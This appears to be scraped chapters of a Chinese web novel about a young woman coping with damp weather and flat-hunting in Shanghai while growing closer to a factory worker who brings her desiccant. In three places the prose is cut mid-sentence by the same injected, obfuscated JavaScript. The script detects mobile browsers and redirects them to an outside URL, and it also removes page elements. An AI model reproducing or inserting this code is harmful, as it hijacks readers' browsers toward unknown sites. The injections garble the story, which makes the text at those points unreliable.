配图发完,她仰头靠进沙发靠背,一动不动地盯着天花板发呆。外面天还没黑,但天色压得很低,阴云挤成一团,没有风,连树叶都不怎么晃,整栋楼像罩在一个焖锅里。 刚发的朋友圈迅速收获了一串点赞。 第一个点的是她一个高中女同学,第二个是她公司行政部的小李,再往下,她看见了熟悉的头像——“宋某人”。 他没留言,只点了个“赞”,像往常一样礼貌地刷了个存在感。 一分钟后,对话框弹了出来: 【宋某人:你阳台没装烘干机?】 【裴雨:我租的房子……老小区,没有。阳台都不能封,连窗户都是手动上提的那种。】 【宋某人:那你挺惨的。】 【裴雨:谢谢,已经是“潮湿星人”本人了。】 裴雨打完字,顺手拍了张客厅地砖的照片发过去。图里鞋柜前放着一双她的运动鞋,边上多放了几张吸水纸巾——那是她昨晚进门踩了一脚水迹,不得不拿来吸水。 【裴雨:鞋都干不了,一双鞋得轮流穿两天。】 对面隔了半分钟才回: 【宋某人:我们厂里给每个宿舍配了除湿机。你要不要也整一台?】 她看着那句话,倒没多想,只是随口打了一句: 【裴雨:租房就不太想买这些了,搬家还得扛着跑,麻烦死了。】 她以为这就算是话题结束了,结果过了不到两分钟,宋行舟又发来一张图。 是一张电商截图,上面是两款便携式迷你除湿机,其中一台号称“轻便不占地,噪音低,适合小户型”。价格倒也不贵。 【宋某人:你看看这俩怎么样?我看评论说湿气大的时候用着挺方便的。】 【裴雨:你怎么知道我喜欢看评论区?】 【宋某人:猜的,估计你买东西都要对比个三五页。】 她盯着那行字看了几秒,有点忍不住笑。 他说得没错。她确实是那种买个垃圾桶都要在页面里研究十分钟、货比三家的性格。 她把图点开,认真看了下。评论里有人晒图,有人拍视频,有人抱怨噪音,也有人夸颜值高。她看得出神,几乎忘了回复。等想起来时,宋行舟又发了一句: 【宋某人:你不喜欢别人推荐?】 【裴雨:没有不喜欢。就是……你有点像客服机器人,还是加装了用户心理分析那种。】 【宋某人:那我是不是得申请个五星好评?】 【裴雨:等我哪天真的下单了再说。】 她发完这句,起身又去阳台看了一眼。阳台没灯,整个空间暗沉沉的,衣服在阴影里晃了一下,看起来比刚才更像某种倒吊的植物。 裴雨叹了口气,把阳台门关上,转身去厨房烧水。 水壶“咕嘟”一声响的时候,手机又振了一下。 【宋某人:如果哪天你真买了那个除湿机,记得发个图。这样我就能继续研究“裴小姐的居家改造系列”了。】 她忍不住笑了一声,把手机屏幕朝下放在桌上,慢慢喝起热水。 这天晚上,她的朋友圈评论区陆续有人来诉苦。 有人说自己晾了一周的床单还是潮的,后来干脆送去干洗店了;有人说厨房柜子都返潮了,抽屉里的纸巾变成了湿巾;还有个同事直接回复:我家狗的窝都长毛了,真的不是开玩笑。 只有宋行舟,只点了个“赞”,聊天依旧保持在私信里。没有突兀地刷存在感,也没有刻意靠近。 就是安安静静地发了几张产品图,配上简短评价,好像只是随口帮朋友出了个主意。 裴雨没立即买那台除湿机,但第二天,她还是去便利店买了两包干燥剂和几块除湿砖,放进了鞋柜、衣橱和阳台一角。 虽然作用有限,但她确实感觉——屋里好像不那么黏了。 至少,她不再一进门就闻见那股微妙的潮味。 第三天傍晚,她拍了张鞋柜角落除湿砖的照片发给宋行舟。 【裴雨:你那张图里那个我没买,我买的是线下超市的。不过放起来还挺有用的。】 【宋某人:不愧是你,实用主义第一名。】 【裴雨:你这么说我是不是该骄傲一下。】 【宋某人:骄傲一下,庆祝今天屋里少了一丢丢湿气。】 她看着那行字,脑海里忽然浮现出他一本正经讲这句话时的表情。 有点无聊,但也不讨厌。 而就在她准备放下手机去热饭的时候,对方又发来一句: 【宋某人:不过听说魔都下周还有连续七天阴雨。你做好心理准备。】 她看着那句话,忽然想起小时候看电视天气预报时,连续几天都是阴云图标,那时候她总问妈妈:“什么时候才能有太阳?” 现在没人告诉她天气什么时候转晴,但有人提前发来提醒。 那也挺好。 然而新的一周到来后,裴雨还是有点烦。 也不是那种雷霆万钧的烦,就是一股子细细密密的情绪,像墙面渗水一样,一开始只是偶尔冒个头,后来越来越频繁,湿湿冷冷地浸进心里。 衣服还在晾着没干,鞋底每天都是湿的,地板上总要贴着吸水垫才能防止滑倒。她每天早上醒来睁开眼,空气都是沉的,仿佛被水压压得喘不过气。 公司新接的项目节奏紧,她忙得连午饭都常常草草解决。中午坐在工位上啃着三明治的时候,她忽然想起自己上次回家是什么时候来着。 是去年国庆。 那时候家里还晒着红辣椒,空气干得连指甲盖都发脆。她妈妈一边晾衣服一边跟她说:“看,这种天气,早上洗了中午就能干。” 她居然有点想那个味道了,西北那种干到皲裂的空气,晒过太阳的被子味道,风吹脸的时候带着点土腥气,但整个人是“干净”的。 魔都不是不好。她也喜欢这座城市的便利、高效、万象更新,哪怕地铁上人挤人,她也习惯了。但最近这一波湿气和阴雨,真的是快把她的心泡皱巴了。 她甚至打开了某招聘平台的App,盯着首页右上角“目标城市”几个字,手指犹豫地停在“兰州”上,最终却没按下去。 心里一闪而过的,是“我真的要换城市吗?” 她没做决定,只是关掉了App,戴上耳机接着写PPT。午后的雨又下了起来,啪嗒啪嗒敲在玻璃上,像打节拍似的。 直到三点半,手机屏幕忽然亮了一下。 是宋行舟的微信。 他没发什么话,第一张就是一张手机拍的照片——裴雨一眼就认出那是她公司大楼的门口。那张图是他站在人行道上往上仰拍的,玻璃幕墙在阴天里泛着青白色的光,跟她现在办公室窗外的天色一模一样。 紧接着是一条消息: 【宋某人:在单位么?能下来一下吗?】 裴雨愣了一下,下意识往窗外看了看。她办公室在九楼,角度不够,看不见楼下的正门。她放下鼠标,隔着屏幕回了一句: 【裴雨:你怎么知道我在这栋楼?】 【宋某人:之前你说过,而且你发朋友圈的时候,背景里拍到过你们楼下咖啡店的logo,我查了一下是这边写字楼的统一配套。】 他停顿了一下,补了一句: 【不过我不知道你具体哪一层,哪个单位,也不好乱问。】 【宋某人:所以我就在门口等一下,顺便把东西给你。】 【宋某人:放心不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718110|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是快递。】 信息发送的同时,他发了一张照片,是一个方方正正的牛皮纸袋,上面贴着工业除湿剂的标签——白底红字,朴实无华。 【宋某人:我们单位老班长推荐的,特地从车间库房里多拿了两包给你。说这个在潮湿地区都很好用。】 裴雨盯着那张照片,嘴角忍不住翘了一下。 也不是说多感动,只是……她没想到他会亲自送来。更没想到他真的认真记了这件事,而且特地从他们单位跑了一趟。 她想了想,还是站起身,跟组长打了声招呼:“我楼下朋友来送点东西,我下去拿一下。” “哦。”组长头也没抬,“记得打伞,雨又大了。” 她点点头,拿了手机和伞走进电梯。 电梯门缓缓合上,她有点紧张,也有点说不清的心情。 等走出写字楼大厅,裴雨远远就看见宋行舟站在一侧的雨棚下。他穿着工作服,裤脚溅了点泥点,左手拿着手机,右手提着那个袋子。 她撑起伞走过去,隔着两三米打招呼:“你还真来啦。” 宋行舟抬头看她,露出一个有点疲惫但不失精神的笑:“不是说了不寄快递,不知道具体地方,怕你嫌麻烦还要找,就直接送过来了。” “你不是应该在上班?” “我今天白班,刚好结束巡检,回来顺路。”他晃了晃手上的袋子,“这东西味道有点重,拆封以后别放卧室,阳台、卫生间、衣柜里比较合适。” “……我又不是买家。”她接过袋子,笑了一下,“你这么详细讲解做什么?” “怕你用了觉得没效果,到时候打我一星。” 她噗地笑了。 两人站在门口那块大门旁边,有些像电影里的场景,但没有滤镜,没有暧昧的配乐,就是实打实的潮湿空气、实打实的白天。 “你干嘛突然想起送这个?”她问。 宋行舟耸耸肩:“你不是说‘水逆’嘛。我也解决不了你别的事,能让你家干一点也算出点力吧。” “你也太执着了吧。”她看着他身上略湿的肩头,“你是不是太闲了?” 他眨了一下眼:“我班长也这么说。” 裴雨抱着袋子站了一会儿,忽然说:“……你会不会觉得我很矫情?” “为什么?” “就因为下点雨、晒不干衣服就想回家,不不想留在这了。” 宋行舟没立刻回答,他抬头看了一眼天色,然后慢慢说道:“你知道我们这儿每年四五月都下雨吧?” “知道。” “我上学的时候,有一年宿舍顶棚漏水,整个铺盖都泡了,衣服洗完得挂在风扇上吹,早上干不了就得穿湿的。” 他说这话的时候很平静,不是要比惨,只是陈述事实。 “后来我就习惯了。”他笑了笑,“但不代表你也得习惯啊。” 裴雨没说话,忽然觉得怀里的袋子有点烫。 她低头看了一眼袋口,标签贴得歪歪斜斜的,边角皱巴巴的,一看就是车间那种大包装临时拿的。但味道很实在,跟她小时候家里地下室除湿用的那种味道一模一样。 “谢谢你啦,真的。”她轻声说。 “别客气。”他摆摆手,“等你用了觉得好,再请我喝杯咖啡就行。” 她扬了扬眉毛:“这么便宜?” “我说了‘一杯’可没说是几块钱的。” 他们对视了一眼,都笑了。 外头的雨还在下,但风似乎比刚才小了点。她忽然没那么烦躁了,至少——今天不算“全输”。 她把袋子揣进帆布包里:“我得上楼去了,等下还有个会议。” “去吧。”他朝她点了点头,然后忽然说:“要是你真的不想留在这,也没什么。只是你现在走,没看完这座城市潮湿后的样子,有点亏。” “你这什么奇怪的劝留方式?” “就……随口说说。” 他笑了一下,没再多说什么,挥了挥手,转身撑开伞,朝对街走去。 裴雨站在原地,看着他的背影渐渐淹没在雨里,忽然觉得——这城市的湿气,似乎也没那么讨厌了。 10. 小改善和持续性烦恼 裴雨回家的时候,天已经快黑了。 她站在门口脱鞋,包往玄关的小架子上一放,手上还提着菜市场拎回来的塑料袋。她今天难得早下班了一点,想着冰箱空得差不多了,就顺道绕到地铁口旁边的菜场转了一圈。买了点青菜,又顺手带了两块去皮鸡胸肉,还有一包豆腐。 她向来不太喜欢囤太多菜,一方面是小户型的冰箱实在没多大空间,另一方面……她也没那么勤快,真的囤一堆,到时候反而容易坏掉。 湿气是近两周来最显眼的问题。 鞋柜下面那条白色地砖,原来踩上去只是冰,现在已经彻底是“凉”了——一双袜子踩上去,十分钟不到,脚趾都能发麻。阳台上的窗缝里起了水汽,洗手间镜子边缘的接缝已经轻微发黑,她已经连续两晚开着空调除湿了,但那个小机器原本就是设计给一室户单间用的,面对四十多平米的小两居,力道明显不够。 她前几天甚至一度上网查了查“住在魔都要不要考虑买个专业除湿设备”,查着查着还点开了租房合同,看自己这房子还有多久到期。 今天她把宋行舟送的那两包除湿剂带回来的时候,原本没抱多大希望。 工业包装,外观不算美观,也没有精致说明书,只有背面贴了一张A5打印纸,上面写了使用建议:开封后静置角落,每两三天更换位置,建议配合通风、空调除湿功能一起使用。 “写得倒挺像化工厂里的通告风格……”她一边想着,一边拆了第一袋。 里面是灰白色的颗粒状物体,被分装在类似无纺布的透气袋里,有点像小时候放鞋盒里的那种干燥剂,不过更大一块,手感比想象中沉。她试着闻了闻,一股淡淡的矿物味,有点像石灰石,也有点像教室墙角曾经堆过的那种建筑材料。 她犹豫了一下,最后还是决定照说明放一包在阳台角落,一包放进卧室的衣柜底层。 阳台角落的那块地砖,一直是她用来晾衣服的。白天打开落地窗,阳光照进来还能晾干几件薄衣;但这段时间阴雨不断,这块区域也开始返潮,墙角甚至泛着一圈圈淡淡的水渍痕迹。 她把除湿袋摆好,蹲在地上看了两秒,没什么特别变化。 “真要有什么用,可能也得一晚上吧。” 她喃喃地说着,起身去厨房洗菜做饭了。 这一晚她没点外卖,认认真真地做了一顿蒜香煎鸡胸、凉拌豆腐和炒青菜,还煮了一碗西红柿鸡蛋汤。吃完饭的时候,厨房的蒸汽还没散完,她推开窗户,外头雾气蒙蒙,楼下雨点依然淅淅沥沥地落着。 她把碗碟洗好,随手在朋友圈发了一句:“今天做饭是被雨逼出来的技能点。” 附带一张晚饭的照片,鸡胸肉切得有点歪,但颜色煎得还不错。 十几分钟后,朋友圈的红点又跳了出来。 “宋某人”点赞。 她看了一眼,也没回复,拎起衣篮去阳台收衣服。 之前洗的一些睡衣和T恤都挂在这里,已经晾了两天,昨天她摸过一次,袖口还带着一点点潮意。今天再次摸上去的时候,她忽然愣了下。 ……干了? 她不太确定,又反复摸了几件。果然,虽然没有“阳光晒过”的那种烫手感,但确确实实是干透了。布料摸上去柔软松弛,不再发冷,也没有潮气。她低头看了眼刚才放的那包除湿剂——袋身微微鼓胀,说明吸收了不少水分。 “这玩意还真不是虚头巴脑。” 她一边嘟囔,一边把衣服叠好,心情莫名就轻松了几分。 本来想着只是心理安慰,没想到竟然真起了效果。她又走回卧室,拉开衣柜的门——前几天那个角落明显潮着的地方,今天也干爽了不少。她之前放在那里的几本画册,书皮不再卷翘,翻页也顺畅许多。 她盯着那包小小的除湿剂,站在那儿发了几秒呆,突然有点想笑。 “他还真不是随便说说。” 她不知道为什么会想到宋行舟那副“憨直认真”的模样:站在大楼下,拎着除湿袋,说是顺路,其实身上还带着巡检时沾到的泥点。 那时候她抱着袋子走回工位,组长还抬头看了眼:“你朋友对你挺好的。” 她没多解释,只是随口“嗯”了一句。 现在想想,宋行舟其实从来没说过太多“好听话”。但他做的这些事,倒是一个都没拉下。 她拉开手机相册,把那张包装袋的照片找出来,随手拍了一张“使用现场”发了过去。 【裴雨:好像真的有点用。】 【裴雨:你们班长推荐的产品还挺靠谱。】 几分钟后,他回了。 【宋某人:我也刚吃完晚饭。还担心你用了觉得我忽悠你。】 【宋某人:下回你要是晒鞋晒不干,我那还有种矿渣砖烘干的小装置,我问问能不能借你试试。】 她笑了一下。 【裴雨:你这是准备开副业了吗?“潮湿天气一条龙服务”?】 【宋某人:不是副业,是兼职做你的小小生活问题解决师。】 他发了个眨眼的表情符号,显得有点不太正经。 她犹豫了一下,手指在输入框里停了好几秒,最后什么都没发。 只是盯着对话框看了一会儿,关了微信。 房间里空气开始变得轻一些。她甚至能闻到被褥里晒过太阳时的那种“干净”的味道——虽然不是阳光的味道,但有种靠近干燥的安全感。 屋子安静下来,她窝在沙发里,想着明天可以把书柜下面那一格也放一包,也许角落里的那股霉味也能散掉。 窗外雨还在下。 但她忽然觉得,这雨,也没那么讨厌了。 # 距离房租到期还有二十七天。 这是裴雨在日历上画下的倒数数字。她用红笔圈了一圈,在旁边写了“记得搬家”四个小字,字体工整,不紧不慢,看上去就像是记“还信用卡”或者“打扫阳台”一样普通。 但只有她自己知道,她已经开始头疼。 上周末,她跑去看了三套房。一套在嘉善路附近,离地铁口近,装修还不错,但卧室朝北,采光实在不理想;另一套在世博园附近,离公司太远;还有一套是合租,房东人倒是热情,就是客厅已经堆满另一个女生的生活用品,一进门就像误入了别人精心布置的家。 她在那套合租房的阳台上站了一分钟,没开口,最后笑笑,说:“我还是再看看吧。” 中介倒是很热情,追着她发了好几条语音,问她要不要再约看房。 她没回。 这天晚上,原本下班回家还想做点饭,但实在没力气,最后点了一份拌面,拌面送来的时候汤洒了一点,汤底把餐盒弄得滑溜溜的。她一手抱着电脑包,一手提着塑料袋开门的时候,差点没抓住。 等她瘫在沙发上,窗外正好飘来一阵阴雨,屋顶“哒哒”地响,她懒得动,就这么坐了好一会儿。 手机忽然震了一下,是房东的微信。 【房东:小裴呀,你那边的房子月底就到期了哈,到时候你这边搬完我就安排下人来看房子啦~】 语气还是一如既往的客气,带点江南女人的软和,后面还跟了个笑脸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718111|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裴雨看了半天,最终回了个“好哒”。 回完她就把手机放到一边,没再动。 房东其实不算难相处。虽然老小区,条件不比新建商品房,但好歹户主不爱管太多事,租金也没怎么涨,按理说是能续的——可这次房东很早就暗示说,全家出国要把房子卖了。 “儿子要结婚了,我们全家都准备走了,你也理解的哈。” 她当然理解。 只是她不太想换。 人总是这样,住久了哪怕是个破旧的地方,也慢慢养出点“属于自己”的气味。她的书架、落地灯、从西北带来的羊毛地毯,还有靠墙挂着的那一幅黑白水墨画,全都和这间屋子慢慢“贴”在了一起。 哪怕墙面斑驳、哪怕空调偶尔出风不匀、哪怕浴室下水时常要通…… 可它是她花三年时间一点点“收拾”出来的。 她躺在沙发上,脑袋靠着软垫,看着天花板的灯一闪一闪——似乎也是湿气影响了线路,她懒得修,也懒得叫人。 微信又响了一下,这次是宋行舟。 【宋某人:今天下班了吗?】 她翻了个身,拿起手机,犹豫了一下,还是回了。 【裴雨:刚下。】 没说吃饭,也没说房子的事。 她下意识不想让他说出“要不要我陪你再看看房”那种话。她现在已经连中介都开始不想回复了,不是房子不合适,而是看房这件事本身就让人疲惫。 就像她曾经对朋友说过的一句话:“租房就像谈恋爱,合眼缘只是第一步,还得看三观、生活节奏和预算合不合。” 不合适的都太多了,合适的又太少。 等着宋行舟的回复时,她没忍住打开了租房App,把筛选条件又拉了一遍。租金区间一拖再拖,原本六千封顶,现在已经被她悄悄往上调到了六千八;通勤时间的限制也模糊了,从原来的“地铁30分钟内”变成了“能忍就行”。 就连卧室朝南这条——她曾经最在意的一项——都被她打了个问号。 她在屏幕上慢慢滑着,每一套看上去还行的房源都点进去仔细看图,点进评论区,再回到地图界面研究周边便利店和公交线路。 这活儿,比上班还费脑。 消息终于跳过来。 【宋某人:我今天在厂区值了白班,傍晚回来顺路去家门口修了个小灯。你上次说你家灯也不太亮,要不要我去帮你看看?】 她想了想,回过去。 【裴雨:还行,估计是线路湿气问题,灯泡还没坏。】 他又问:【房子进展怎么样?】 她盯着那句话,突然不想回复了。 她怕自己只要回一句“不太顺利”,他又会接一句“要不要我陪你再看看”,然后她又得拒绝一遍,然后再自责一次。 过了好几分钟,她才回了一句: 【裴雨:还在找。】 这句看似云淡风轻,其实她连打三个句号都删了,又怕显得自己“情绪太多”。 手机对面,宋行舟似乎也没再追问。只是隔了五分钟,又发了一张图——是他新修好的台灯,上面安了个暖黄色灯罩,照在桌上一只工具袋和一摞拆封的螺丝钉上。 【宋某人:这灯装完后还挺像家里。】 【宋某人:如果你那边真的找不到合适的,我这还有套空房,要不先暂时借住我这里?】 裴雨看着这句话,笑了一下,没接茬。 她没有立即回,而是靠在沙发里,闭着眼,听着屋顶雨滴打落的声音,一颗一颗地砸进心里。 11. 倒计时 有些时候,人不被逼到一定份儿上,都不会知道竟然有那么大的潜力。 倒计时,还有二十天。 裴雨把日历上原先用红笔画的圈重新描了一遍,又在旁边加了一个感叹号。 比起上周还在拖延的自己,她这几天像突然开窍了似的,一天能看三到五套房,看图、打电话、约看房、跑地铁、评估采光与通勤时间,每一个步骤她都熟练得像刚换了芯片的房产中介。 她自己都觉得不可思议。 “果然人一旦被逼到悬崖边,就能爆发出惊人的战斗力。”她在朋友圈发了一条图文动态,配图是自己用租房App截图标记的十几个备选小区位置图,评论区里有朋友惊呼她“这效率比转正报告都快”。 她苦笑了一下:谁不想效率高点,只是以前没到“必须快”的时候罢了。 当然也不是没有焦头烂额的时刻。 比如某天她看中了一套房源,价格合适、户型规整、阳台朝南,她已经脑补好入驻后的收纳布局和窗边植物的摆放顺序。结果去看房当天,房东临时改口,说“刚有人先交了定金”。 她站在小区门口,风大,手机热得发烫,天色灰沉沉地压下来,像一块湿毛巾捂在鼻子上。 她差点原地破防。 可转念一想,这已经是自己第十三套错失的房子了,好像也没什么好气馁的了。她回到地铁站,坐在冷冰冰的塑料椅子上,又打开App,照旧点开地图,一点点拖动、缩放、比价。 她的同事前几天退租回老家了,办公室顿时空了一半,更显得屋子冷清。屋角落下的暖光落地灯照着她办公桌上的标签纸,像是时时刻刻在提醒她“你很快也得离开”。 于是她更拼了。 每天上午用空隙时间筛选房源,中午抓紧时间打电话预约看房,下班后直接赶地铁,一天吃饭时间不超过十五分钟。她连回微信的频率都下降了,宋行舟也像是察觉到她忙得厉害,只偶尔问一句“今天跑累了吗”“晚上吃饭了吗”,没有多追问。 她挺感激这种“没追问”的。偶尔看着他的对话框发呆,会想到之前他说过的“有套空房你要是真找不到可以先住”,也许那时候她就该顺水推舟地答应下来,那现在就能在屋里悠哉喝茶不用折腾了。 可她还是嘴硬。 她也不知道自己是矜持还是别扭,总之就是不太想走得太近。尤其在这种节骨眼上,她实在没有余裕去处理太复杂的人际关系。 不过说到底,她还是记得宋行舟曾推荐过的那一片区域。 “我住的这片其实还行,租金不算高,生活方便,晚上挺安静的。” 他上次说这话的时候,她其实没太当回事。 可某天晚上,她无意间刷到一个新房源,价格刚好在她接受范围内,小区是个十八年左右的老小区,装修简单但干净,阳台超大,最关键的是——图片最后一张露出了不远处那座她有点眼熟的围墙。 她往前翻了翻聊天记录,才后知后觉地反应过来,这不就是……宋行舟住的那一片? 她下意识地把房源收藏,又下意识地打开地图确认地址。 离地铁大概八分钟步行,有菜市场、有便利店、有24小时药店,楼下还有一家小饭馆,名字叫“马师傅米粉”,她记得宋行舟发过一张“单位加班晚饭”的米粉图,就是在这儿。 她看着地图,心跳忽然有点不自然地跳了两下。 然后又迅速把地图缩小,假装自己只是路过而已。 那天去看看小区环境是周四晚上,下班时天还飘着毛毛细雨,她带了伞,但最后没撑。她穿了一件浅灰色的风衣,踩着运动鞋,顺着小区的编号一路往里走。 小区的道路两边种着梧桐树,枝叶交错,地上落了一地碎雨花。楼道很老了,但楼下邻居家门口有花草,楼道墙面虽然泛黄,却贴着刚换的防盗门。她站在楼下的时候,甚至闻到一股热饭菜的味道,不知道是哪户人家的锅正好揭开。 裴雨走进楼道里四处看看,很快做了笔记,然后走出门,在楼梯口站了一会儿。 她没立刻下楼。 她忽然想到,自己现在……就站在宋行舟住的片区。 不是他楼下,但也就隔着几排楼的距离。 她忽然有点紧张。 明明是个千万人口的大城市,她却第一次产生了“世界真小”的错觉。 下楼时,她有点心虚地绕了条远路,生怕一拐弯就碰见他——甚至连地铁站都特意避开他以前发图中出现过的公交站口,像个做贼心虚的人。 等走出小区,她才慢慢松口气。 她没有立刻决定要不要租这片小区的房子。小区条件不错,地段也合适,但她总觉得自己会被这“重叠的生活范围”困住——哪怕两人从未有过过分的关系,这种心理也不是说消就能消的。 可她也没把房源删掉,仍旧保留在“备选”文件夹里。 那天晚上,她打开了家里的空调除湿功能,看着机器低鸣运作,干燥的空气渐渐替换了窗外的潮湿。她靠在沙发上,翻着在小区拍下来的几张照片,看着照片里的晾衣架有点出神。 手机屏幕忽然亮了一下,是宋行舟发来的消息。 【宋某人:你今天朋友圈发的小区地图,左上角那块红色圈出来的地方,和我家这一带有点像?】 她盯着那条消息看了一会儿,装傻回了一句: 【裴雨:啊?我也不太清楚,我就乱标的。】 然后默默关了聊天框,像个偷偷摸摸潜入别人的世界又被人撞见的小偷。 自从发现宋行舟所住的片区租金合理、生活便利,又莫名让她有点安心感之后,裴雨的地图搜索范围就开始“悄悄”往那边偏移。 不是故意的。 只是当她在地图上缩放和拖拽时,总是不自觉地往那一片移过去。小区名她已经熟得差不多了,甚至不用看图,单靠名字就能判断出是哪一块——比如“长林苑”、“静泉里”、“嘉惠公寓”……这些名字在她房源筛选列表里反复出现,像打卡一样被她点进点出,反复比较楼龄、户型图、地铁口距离。 “我好像有点……中魔了。” 她某天晚上发语音给大学闺蜜说这事,对方笑得手机都差点掉地上:“你是不是其实就是想住他家附近?” “不是。”她迅速否认,“只是那一带房租确实便宜,交通也方便。” “你这借口,听起来也太——”对方话还没说完就被裴雨用一句“我去关空调了”给掐断了话题。 挂了电话,她窝在沙发上,重新拿起手机,又开始在那一片刷房源。她设了筛选条件——必须整租、有阳台、厨房不能太老旧、附近必须有便利店。 她对自己租房标准一向要求严格,虽然不至于“非海景房不租”,但也不愿意住那种墙皮脱落、窗户发霉的小房间。她一个人住了几年,倒也学会了怎么在条件有限的情况下过得舒适清爽。 那天夜里,她刷到了两套特别合眼缘的。 一套在“静泉里”,三十几平的开间,但装修很新,屋主是个女孩,照片拍得整洁明亮,阳台上还有吊兰;另一套在“嘉惠公寓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718112|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,小区虽旧,但房型好,朝南,两室一厅,价格非常合适。 她点开地图确认了一下两套房的位置,前者离地铁稍远,但生活氛围好;后者紧挨公交站台,晚上也不算太吵。她犹豫了好一会儿,决定都去看看。 “周一请个半天假,连着看掉,省得反复跑。” 她在备忘录里记下时间,然后习惯性地点开微信。 宋行舟的头像还在常用对话列表的最上方。 最近他们聊天频率降低了一点,主要是因为她太忙。他倒是时不时会发一些不咸不淡的内容,比如某次他加完班后发来一张食堂窗口拍的饭菜图,配文是“红烧肉今天还行”;还有一次下班后天黑得快,他随手拍了一张厂区门口的晚霞,问她“你今晚吃什么了”。 都是那种一点不黏腻、甚至可以说是“毫无攻击性”的日常问候。像是把生活切成一小块一小块的蛋糕递给她,愿不愿意吃由她决定。 她有时候也回,有时候不回。不是冷漠,就是心烦的时候不想动。 那天夜里她刷房刷累了,打开微信,想想还是给他回了一句: 【裴雨:你们单位食堂看起来还不错。】 他秒回。 【宋某人:你是回上次那顿红烧肉图的?】 【裴雨:对。你不是说好久没吃到不柴的肉了么。】 【宋某人:我后来试过几次,只有那次成功了。现在觉得是厨师失误,一不小心发挥过头了。】 裴雨笑了一下,又打了一行字: 【裴雨:你们不是三班倒么?那天晚上你几点下班的?】 【宋某人:11点。】 【宋某人:下夜班的时候我经常拍照片,其实天挺安静的,也不会有人催你下班。】 她想象了一下那种空荡荡的夜晚厂区,只有偶尔有车灯扫过地面,远处机器的轰鸣像背景音一样连绵不断,宋行舟一个人背着包,边走边举着手机拍天空。 忽然又有点想问他:那你一个人拍的时候,是不是也会觉得有点……寂寞? 但最后她没问,只回了一句: 【裴雨:你那片是不是有点潮?】 【宋某人:怎么突然问这个?】 【裴雨:我最近看房子,发现有些地方潮得太离谱。】 发完她就有点后悔,怕他说出什么“我上次给你推荐那片就挺干的”之类的话。她装作没事一样点了下聊天框左上角,退了出去。 宋行舟倒是没多说,过了两分钟才回: 【宋某人:靠河的一侧是湿一点,但靠地铁那边干。要不要我帮你筛几个?】 【裴雨:……不用,我自己找着玩儿呢。】 她怕他说多了,赶紧补了一句:“最近房东也没催我搬家,没那么急。” 其实她知道自己在说谎。 房东前天才发来消息,提醒她“月底之前搬好、钥匙记得还,不然要扣押金”。她当时还截图存了证,怕后续要扯皮。 但她就是不想让宋行舟知道自己已经“快到没地方住”的地步了。 好像……说了就输一样。 她不想成为别人眼里的“可怜人”,哪怕那人是他。 于是那天夜里,她躺在沙发上,翻着那两套房源的图片,看窗户框有没有霉斑、厨房瓷砖是不是好擦洗、洗衣机是不是阳台外接,而微信里,和宋行舟的聊天界面就停在那句“我自己找着玩儿”。 她其实知道那片区域她已经锁定了。 是的,她不想被他撞见,可她还是默默走进了他生活的地图范围。 12. 偷偷摸摸 周一早上裴雨特地请了半天假。 她提前一晚就把衣服熨好了,挑了一件不太显眼的米色长衬衫搭配牛仔裤,头发也扎得利落,看起来清清爽爽,既不至于太随便,又不至于像面试一样正儿八经——毕竟是来看房子,不是来谈判的。 她约的是早上十点,房源在“静泉里”,位置有点偏,地铁出站还要走十几分钟。 “静泉里”是个不太起眼的老小区,小区门口两棵梧桐树枝叶繁茂,树下摆着两个收废品的三轮车,一只狸花猫正从一辆电瓶车车筐里跳出来,街边早餐摊的热气还没散干净,空气中弥漫着油条和豆浆混合的香味。 “裴小姐?”一个穿白衬衫的年轻男中介迎上来,“你好,我是贝壳的梁辰,我们加过微信的。” 裴雨点点头:“你好。” “走,房东那边在等了,我们过去。” 两人穿过小区小道,一边走梁辰一边小声介绍:“这套房子在五楼,没有电梯,楼龄不新,但户型不错,之前是个小姐姐自己住的,最近换工作搬走了,留下不少家具。你要是喜欢文艺风,应该挺合适的。” “租金包物业?” “包。” “燃气开着吗?” “开着。” “阳台晒衣服方便吗?” “阳台朝南,前面是绿化带,不挡光。” 裴雨点点头,心里觉得这个中介挺靠谱,话不多但信息清楚,有点专业。 两人刚拐过一个楼道拐角,她眼角余光突然扫到一个熟悉的背影—— 白色工装短袖,军绿色工装裤,宽肩细腰,左手夹着一份文件袋,右手搭着裤袋口,肩膀略微下沉,正从对面楼道走出来,朝小区门口的方向走。 那人头也不回地穿过一道铁门,走得不快,但裴雨的心跳“咚”的一声,差点从嗓子眼蹦出来。 “……靠。” 她几乎是条件反射地躲到了单元门旁边那棵树后。 梁辰脚步没停,走了两步发现她不见了,回头一看,惊讶地说:“哎?你怎么藏树后头去了?” “嘘——”裴雨小声说。 “你是……怕狗?” 